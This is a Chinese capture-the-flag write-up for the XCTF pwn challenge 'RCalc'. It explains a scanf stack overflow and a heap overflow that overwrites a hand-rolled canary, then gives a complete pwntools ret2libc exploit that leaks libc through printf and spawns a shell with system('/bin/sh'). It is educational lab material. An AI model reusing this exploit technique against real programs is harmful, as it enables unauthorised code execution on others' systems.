攻防世界PWN之RCalc题解

RCalc

首先,检查一下程序的保护机制,还不错,只开了NX

攻防世界PWN之RCalc题解_第1张图片

然后,我们用IDA分析

看到这,感觉像是堆的题,应该会很复杂。然而,我们再看看其他地方,发现这个函数只是在初始化时调用的,也不太可能会被利用,而且程序全程没有调用free函数

攻防世界PWN之RCalc题解_第2张图片

然后,我们瞧瞧其他函数,看到这里感觉好复杂,然而,它只是一个用来生成随机数的函数罢了

攻防世界PWN之RCalc题解_第3张图片

然后,我们继续看其他函数

攻防世界PWN之RCalc题解_第4张图片

这个样子,好像是canary的保护机制啊。这不就是他自己写了一个类似于canary的东西吗

原来那么一大堆,只是为了完成堆溢出检测罢了

scanf这里有一个栈溢出

攻防世界PWN之RCalc题解_第5张图片

这里是保存计算结果到堆里

攻防世界PWN之RCalc题解_第6张图片

其中,它没有检查堆溢出,里面的数据可以无限制的添加

攻防世界PWN之RCalc题解_第7张图片

canary的操作

我们可以看出,他自己写的canary机制是把值存到一个堆里,并且遵循栈的性质

  1. typedef struct {  
  2.     int top;  
  3.     int *data;  
  4. } Canarys;  

再重新看看创建堆的操作,经过分析,第一个0x100堆用来存放计算结果,第二个0x320堆用来存放n个canary的值。由于创建的顺序是0x100的那个用来保存计算结果的堆先创建,并且之前没有free操作,那么0x100堆的后面就是0x320堆,我们可以从0x100堆里溢出到0x320堆里,覆盖canary的值为我们自己设置的值,这样就绕过了这个检测机制,然后就是正常的ROP操作了。

攻防世界PWN之RCalc题解_第8张图片

调试看看

攻防世界PWN之RCalc题解_第9张图片

攻防世界PWN之RCalc题解_第10张图片

所以,需要保存(0Xceb160-0xceb050) / 8 = 0x22个整数后,就可以溢出了

  1. def setCanary(canary):  
  2.    for i in range(0x22):  
  3.       sh.sendlineafter('Your choice:','1')  
  4.       sh.sendlineafter('input 2 integer:','0')  
  5.       sh.sendline('1')  
  6.       sh.sendlineafter('Save the result?','yes')  
  7.    sh.sendlineafter('Your choice:','1')  
  8.    sh.sendlineafter('input 2 integer:','0')  
  9.    sh.sendline(str(canary))  
  10.    sh.sendlineafter('Save the result?','yes')  

本题,由于是使用scanf来输入payload中的,因此,我们的payload中不能出现0x20(空格)数据,也就是地址里,不能有0x20数据,因此这些got表都用不了,放入payload的话,scanf遇到0x20就会停止输入,从而造成payload输入不完整。

攻防世界PWN之RCalc题解_第11张图片

但是,上面的那个__libc_start_main或__gmon_start__倒是可以用来泄露,因为他们的got表地址没有0x20

攻防世界PWN之RCalc题解_第12张图片

Puts也不能用了,因为有0x20

我们用printf

那么,我们先泄露__libc_start_main加载地址,计算出libc地址

  1. payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)  
  2. sh.sendlineafter('Input your name pls: ',payload)  
  3. #现在我们要通过堆溢出,把canary的值改成我们的mycanary  
  4. setCanary(mycanary)  
  5. sh.sendlineafter('Your choice:','5')  

这里有个奇怪的问题,当mycanary为非0时,printf会报错

攻防世界PWN之RCalc题解_第13张图片

所以我们的mycanary统一就都为0吧

 

于是,我们最终的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. context.log_level = 'debug'  
  5.   
  6. #sh = remote('111.198.29.45',49895)  
  7. sh = process('./RCalc')  
  8. elf = ELF('./RCalc')  
  9. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
  10. printf_plt = elf.plt['printf']  
  11. __libc_start_main_got = elf.got['__libc_start_main']  
  12. #pop_rdi用于64位函数传参  
  13. pop_rdi = 0x401123  
  14. main_addr = 0x401036  
  15. #我们自己设置canary,不知道为什么,如果非0,printf会报段错误  
  16. mycanary = 0  
  17.   
  18. print hex(__libc_start_main_got)  
  19.   
  20. def setCanary(canary):  
  21.    for i in range(0x22):  
  22.       sh.sendlineafter('Your choice:','1')  
  23.       sh.sendlineafter('input 2 integer:','0')  
  24.       sh.sendline('1')  
  25.       sh.sendlineafter('Save the result?','yes')  
  26.    sh.sendlineafter('Your choice:','1')  
  27.    sh.sendlineafter('input 2 integer:','0')  
  28.    sh.sendline(str(canary))  
  29.    sh.sendlineafter('Save the result?','yes')  
  30.   
  31. #注意,我们的payload中不能有0x20数据,因为这是空格,会导致数据截断  
  32. #我们先写ROP到栈里  
  33. payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)  
  34. sh.sendlineafter('Input your name pls: ',payload)  
  35. #现在我们要通过堆溢出,把canary的值改成我们的mycanary  
  36. setCanary(mycanary)  
  37. sh.sendlineafter('Your choice:','5')  
  38.   
  39. __libc_start_main_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  40. #获取libc基地址  
  41. libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']  
  42. system_addr = libc_base + libc.sym['system']  
  43. binsh_addr = libc_base + libc.search('/bin/sh').next()  
  44. print 'libc_base=',hex(libc_base)  
  45.   
  46. payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
  47. sh.sendlineafter('Input your name pls: ',payload)  
  48. setCanary(mycanary)  
  49. sh.sendlineafter('Your choice:','5')  
  50.   
  51.   
  52. sh.interactive() 

你可能感兴趣的:(pwn,CTF,二进制漏洞)